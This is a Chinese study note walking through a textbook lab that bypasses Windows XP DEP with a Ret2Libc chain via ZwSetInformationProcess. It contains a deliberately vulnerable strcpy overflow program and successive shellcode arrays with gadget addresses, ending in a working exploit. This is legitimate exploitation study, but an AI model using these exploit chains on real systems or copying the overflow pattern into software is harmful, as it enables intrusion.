【学习笔记Ⅰ】Chapter12.3 利用Ret2Libc 挑战DEP(实操)
0x00 写在前面
三种绕过 DEP 的 exploit 方法:
- 通过跳转到 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行;
-
通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行;
- 通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。
0x10 Ret2Libc 实战之利用 ZwSetInformationProcess
一个进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,而这个标识可以通过API函数 ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。
由于自己构造参数调用 ZwQueryInformationProcess 函数会出现问题(包含 0x00 截断字符),所以直接利用系统中已存在的关闭进程 DEP 的调用,利用它构造参数来关闭进程的 DEP。
微软为考虑兼容性设置了 LdrpCheckNXCompatibility 函数,当符合以下条件之一时进程的 DEP 就会被关闭:
- 当 DLL 受 SafeDisc 版权保护系统保护时;
- 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时;
- Windows Vista 下当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动 DEP 的模块时。
模拟第一种情况,首先来研究下 LdrpCheckNXCompatibility 关闭 DEP 的流程:
思路:
- 需要一个指令将 AL 修改为1;
- 转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP;
- RETN 4 后转到我们的shellcode 。
在下列代码基础上进行调试修改。利用最简单的缓冲区溢出的原理,覆盖掉函数 test() 的返回地址(181-184字节)
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
Step1:将 AL 修改为1
使用 OllyFindAddr 插件的 Disable DEP→Disable DEP <=XP SP3 搜索,结果中的 Step2 部分就是类似 MOV AL, 1 RETN 的指令。
修改 shellcode 如下:
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 ;
Step2:转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP
charshellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN 地址 "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 ;
编译后在OD中重新加载程序,Ctrl + G 搜索指令 MOV EAX,1 RETN,断点执行后发现 EBP 在栈溢出的时候被冲刷了,因此无法继续执行关闭 DEP 的代码:
因此在转入 0x7C93CD24 之前,需要先将 EBP 指向一个可写的位置:
再次使用 OllyFindAddr 插件,在 Disable DEP <=XP SP3 搜索结果的 Setp3 部分查看类似PUSH ESP POP EBP RETN 的指令。
选用 0x5D1D8B85 处的 PUSH ESP POP EBP RETN 04 指令来修正 EBP,修改后的shellcode 如下:
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\x85\x8B\x1D\x5D" //修正 EBP "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 ;
重新编译后在 OD 中加载程序,在修正完 EBP 之后(即执行完 PUSH ESP POP EBP RETN 04 指令),程序成功转入 0x7C93CD24 关闭 DEP 代码的起始位置。
F8 单步调试至关闭 DEP 的函数 CALL ntdll.ZwSetInformationProcess,内存地址7C95683B处。[EBP-4] 中的内容已被修改为 0x22,满足关闭 DEP 的条件。
继续执行至ntdll.ZwSetInformationProcess 函数内,在 RETN 4 之后我们失去了程序的控制权。因此,分析断点 RETN 4 处的堆栈情况:ESP 指针指向 0x04(关闭 DEP 时 PUSH 4 操作冲刷的结果)
所以我们不能简单地在修正 EBP 后直接关闭 DEP,还需要对 ESP 或者 EBP 进行调整。
一般来说当 ESP 值小于 EBP 时,防止入栈时破坏当前栈内内容的调整方法不外乎减小 ESP 和增大 EBP。但由于 shellcode 位于内存低址,所以减小 ESP 可能会破坏 shellcode 的完整性,同时又找不到增大 EBP 的指令。
文中选用带偏移量的 RETN 指令来达到增大 ESP 的目的,让 EBP 和 ESP 之间的空间足够大,这样关闭 DEP 过程中的压栈操作就不会冲刷到 EBP 的范围内了。
补充:
- retn 操作:先 eip=esp,然后 esp=esp+4
- retn N 操作:先 eip=esp,然后 esp=esp+4+N
通过 OllyFindAddr 插件中的 Overflow return address-> POP RETN+N 选项来查找相关指令。文中建议:
- Count of POP = 0 (不能对 ESP 和 EBP 有直接操作,否则会失去对程序的控制权)
- Number of Return = 0x28
结果如下,选用 RETN 28 at 0x7c92d26c
重新布置 shellcode。注意:修正 EBP 指令返回时带有的偏移量(retn 4)会影响后续指令,所以我们在布置 shellcode 的时要加入相应的填充 "\x90\x90\x90\x90"。
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\x85\x8B\x1D\x5D" //修正 EBP "\x6C\xD2\x92\x7C" //增大 ESP "\x90\x90\x90\x90" "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 ;
RETN 0x28 执行前后堆栈变化情况:
ESP 从内存地址 0x13FEC0 增大到 0x13FEEC,可防止压栈对 ESP 的冲刷了。
同样单步调试至 RETN 4,堆栈情况如下,执行完 RETN 4 之后 ESP 将指向 0013FEC4。
使用跳板指令 JMP ESP 即可重新控制跳转了。
0013FEBC 处的 “90909090” 为增大 ESP 后的填充指令,下一步将其改为 JMP ESP 指令。同样 OllyFindAddr 插件中的Overflow return address→Find CALL/JMP ESP 查找:
选用 JMP ESP at 0x7dd3b1b7,修改 shellcode 如下:
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\x85\x8B\x1D\x5D" //修正 EBP "\x6C\xD2\x92\x7C" //增大 ESP "\xB7\xB1\xD3\x7D" //jmp esp "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 ;
Step4:RETN 4 后转到我们的shellcode。
在执行完 RETN 4 之后的 ESP 地址 0013FEC4 处放置一个长跳指令,让程序跳转到 shellcode 的起始位置来执行 shellcode。
根据 shellcode 的内存布局,可得 0013FEC4 至 shellcode 起始位置有 200 个字节。因此跳转指令长度为 205 个字节(200 + 5),其余用 x90 填充,最终 shellcode 构造如下:
char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\x85\x8B\x1D\x5D" //修正 EBP "\x6C\xD2\x92\x7C" //增大 ESP "\xB7\xB1\xD3\x7D" //jmp esp "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 "\xE9\x33\xFF\xFF" //回跳指令 "\xFF\x90\x90\x90" ;
成功运行。
借鉴下博客 https://www.cnblogs.com/exclm/p/4006716.html 中对本次实验的总结:
1. 修改寄存器状态,欺骗系统函数关闭 DEP
2. 调用系统函数的过程中,通过跳板、retn等调整寄存器数值(ebp、esp)以保证函数正常执行的变通技巧
实际高度代码并关注寄存器的变化十分重要!